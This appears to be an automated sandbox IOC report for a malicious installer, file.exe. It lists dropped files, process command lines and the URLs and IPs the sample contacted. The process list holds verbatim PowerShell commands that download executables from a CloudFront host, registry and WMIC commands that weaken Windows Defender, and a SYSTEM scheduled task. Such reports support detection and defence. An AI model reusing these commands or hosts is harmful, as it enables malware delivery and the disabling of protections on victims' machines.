IOC Report
file.exe

loading gif

Files

File Path
Type
Category
Malicious
file.exe
PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
initial sample
 malicious
C:\ProgramData\freebl3.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\ProgramData\mozglue.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\ProgramData\nss3.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\ProgramData\softokn3.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\tiktok[1].exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\RtkBtManServ.exe
PE32+ executable (console) x86-64, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\browser_broker.exe
PE32+ executable (GUI) x86-64, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\notepad.exe
PE32+ executable (GUI) x86-64, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\JKJKJJDBKE.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\hmgv
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\i1.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\i3.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (copy)
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat
DOS batch file, ASCII text, with CRLF line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Temp\u5do.0.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\u5do.2\UIxMarketPlugin.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\u5do.2\relay.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\u5do.3.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Roaming\SecureClient\relay.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Windows\System32\GroupPolicy\gpt.ini
ASCII text
dropped
 malicious
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ySPgHoN.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\$Recycle.Bin\S-1-5-18\desktop.ini
Windows desktop.ini
dropped
C:\ProgramData\BFIIEHJDBKJKECBFHDGHJKEHIJ
SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
dropped
C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK
SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
dropped
C:\ProgramData\BNAGMGSPLO.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\DQOFHVHTMG.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\DUUDTUBZFW.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\DUUDTUBZFW.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\EEGWXUHVUG.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\EFGRWFCUWS.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\EFOYFBOLXA.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\EGCBAFCFIJJJECBGIIJKECAFID
SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
dropped
C:\ProgramData\EGIDAAFIEHIEHJKFHCAE
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
dropped
C:\ProgramData\ERWQDBYZVW.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\GCGHCBKF
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
dropped
C:\ProgramData\GRXZDKKVDB.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\HIDHDGDHJEGHIDGDHCGC
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
dropped
C:\ProgramData\HMPPSXQPQV.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\IEHJDGIDBAAFIDGCGCAKKKFBFH
SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
dropped
C:\ProgramData\IIECFHDB
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
dropped
C:\ProgramData\Microsoft\Network\Downloader\edb.log
data
dropped
C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
Extensible storage engine DataBase, version 0x620, checksum 0x68555a0d, page size 16384, DirtyShutdown, Windows version 10.0
dropped
C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm
data
dropped
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_i1.exe_cb9b697e472f7bd37ff2e333030dc99bb374752_24622bb6_60047f08-c19d-4d7c-8e74-56969ceed62f\Report.wer
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC70.tmp.dmp
Mini DuMP crash report, 15 streams, Fri Apr 26 09:06:21 2024, 0x1205a4 type
dropped
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE55.tmp.WERInternalMetadata.xml
XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEF3.tmp.xml
XML 1.0 document, ASCII text, with CRLF line terminators
dropped
C:\ProgramData\NIRMEKAMZH.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\NVWZAPQSQL.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\NVWZAPQSQL.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\PALRGUCVEH.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\SQSJKEBWDT.docx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\SQSJKEBWDT.xlsx
ASCII text, with very long lines (1024), with CRLF line terminators
dropped
C:\ProgramData\iolo\logs\WSComm.log
ASCII text, with CRLF line terminators
dropped
C:\ProgramData\msvcp140.dll
PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped
C:\ProgramData\vcruntime140.dll
PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll
PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll
PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\load[1].bat
DOS batch file, ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\2c3a7ab
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_532c5nlu.m3g.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bfk5gejr.2fo.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cj1dvj11.pqr.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxprvxzj.blk.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbxtzasz.wgn.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmun0ml3.erl.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5mc5iex.qlw.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvgaof00.yqo.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vknroskt.aoa.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w35kok0a.ejt.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xk0fbbfd.g0i.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xyq2vdwl.wfc.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Temp\towv
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 24 04:56:20 2024, mtime=Fri Apr 26 08:06:15 2024, atime=Wed Apr 24 04:56:20 2024, length=2469936, window=hide
dropped
C:\Users\user\AppData\Local\Temp\u5do.1.zip
Zip archive data, at least v2.0 to extract, compression method=deflate
dropped
C:\Users\user\AppData\Local\Temp\u5do.2\bunch.dat
data
dropped
C:\Users\user\AppData\Local\Temp\u5do.2\whale.dbf
data
dropped
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3A58.tmp
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 24 04:56:20 2024, mtime=Fri Apr 26 08:06:15 2024, atime=Wed Apr 24 04:56:20 2024, length=2469936, window=hide
dropped
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\il_Plugin_v1.lnk (copy)
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 24 04:56:20 2024, mtime=Fri Apr 26 08:06:15 2024, atime=Wed Apr 24 04:56:20 2024, length=2469936, window=hide
dropped
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
data
dropped
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
data
dropped
C:\Users\user\AppData\Roaming\SecureClient\bunch.dat
data
dropped
C:\Users\user\AppData\Roaming\SecureClient\whale.dbf
data
dropped
C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
JSON data
dropped
C:\Windows\System32\GroupPolicy\Machine\Registry.pol
RAGE Package Format (RPF),
dropped
C:\Windows\Tasks\biPxHmULFllsbMgnpt.job
data
dropped
C:\Windows\appcompat\Programs\Amcache.hve
MS Windows registry file, NT/2000 or above
dropped
\Device\ConDrv
ASCII text, with CRLF, CR line terminators
dropped
There are 89 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Users\user\Desktop\file.exe
"C:\Users\user\Desktop\file.exe"
 malicious
C:\Windows\SysWOW64\cmd.exe
"cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"
 malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
 malicious
C:\Users\user\AppData\Local\Temp\i1.exe
i1.exe /SUB=28381000 /str=one
 malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
malicious
C:\Users\user\AppData\Local\Temp\u5do.0.exe
"C:\Users\user\AppData\Local\Temp\u5do.0.exe"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"
 malicious
C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
"C:\Users\user\AppData\Local\Temp\u5do.2\run.exe"
malicious
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Users\user\AppData\Local\Temp\i3.exe
i3.exe
 malicious
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
.\Install.exe /EdidWTW "385128" /S
 malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
malicious
C:\Users\user\AppData\Local\Temp\u5do.3.exe
"C:\Users\user\AppData\Local\Temp\u5do.3.exe"
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
 malicious
C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
 malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
 malicious
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
 malicious
C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
malicious
C:\Windows\SysWOW64\wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
malicious
C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn biPxHmULFllsbMgnpt
 malicious
C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn biPxHmULFllsbMgnpt
 malicious
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe Wt /QQndidSCwP 385128 /S
 malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
malicious
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
malicious
C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
 malicious
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6972 -s 1420
There are 52 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://monoblocked.com/385128/setup.exe
45.130.41.108
 malicious
http://185.172.128.76/15f649199f40275b/nss3.dll
185.172.128.76
 malicious
http://185.172.128.76/15f649199f40275b/mozglue.dll
185.172.128.76
 malicious
http://185.172.128.76/3cd2b41cbde8fc9c.php
185.172.128.76
 malicious
http://185.172.128.76/15f649199f40275b/msvcp140.dll
185.172.128.76
 malicious
http://185.172.128.76/15f649199f40275b/sqlite3.dll
185.172.128.76
 malicious
http://pesterbdd.com/images/Pester.png
unknown
 malicious
http://185.172.128.90/cpa/ping.php?substr=one&s=ab&sub=28381000
185.172.128.90
 malicious
http://185.172.128.76/15f649199f40275b/softokn3.dll
185.172.128.76
 malicious
http://185.172.128.76/15f649199f40275b/freebl3.dll
185.172.128.76
 malicious
http://185.172.128.76/15f649199f40275b/vcruntime140.dll
185.172.128.76
 malicious
http://185.172.128.76
unknown
 malicious
http://240216234727901.mjj.xne26.cfd
unknown
https://duckduckgo.com/chrome_newtab
unknown
https://duckduckgo.com/ac/?q=
unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php4.
unknown
http://www.vmware.com/0
unknown
http://ocsp.sectigo.com0
unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000L
unknown
https://dsepc5ud74wta.cloudfront.net/P
unknown
http://185.172.128.228/BroomSetup.exe
185.172.128.228
http://185.172.128.59/ISetup1.exe
185.172.128.59
http://svc.iolo.com/__svc/sbv/DownloadManager.ashx.
unknown
https://contoso.com/License
unknown
http://185.172.128.228/ping.php?substr=one
185.172.128.228
http://185.172.128.76/3cd2b41cbde8fc9c.php70e7ad0fea9dd580957f3efcf47e4-release
unknown
https://g.live.com/odclientsettings/ProdV2.C:
unknown
https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444
13.249.105.199
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
unknown
http://www.indyproject.org/
unknown
http://google.com
unknown
http://185.172.128.203/tiktok.exe
185.172.128.203
http://185.172.128.203/tiktok.exe00
unknown
https://dsepc5ud74wta.cloudfront.net/
unknown
https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000
13.249.105.199
http://185.172.128.76/3cd2b41cbde8fc9c.phpCw
unknown
http://185.172.128.76uj
unknown
https://dsepc5ud74wta.cloudfront.net
unknown
https://aka.ms/pscore6lB
unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://sectigo.com/CPS0D
unknown
http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
20.157.87.45
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000X&?
unknown
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.06
unknown
http://www.sqlite.org/copyright.html.
unknown
http://note.padd.cn.com/1/Package.zip
176.97.76.106
http://nuget.org/NuGet.exe
unknown
http://www.mozilla.com/en-US/blocklist/
unknown
https://mozilla.org0/
unknown
http://crl.microL
unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://go.micro
unknown
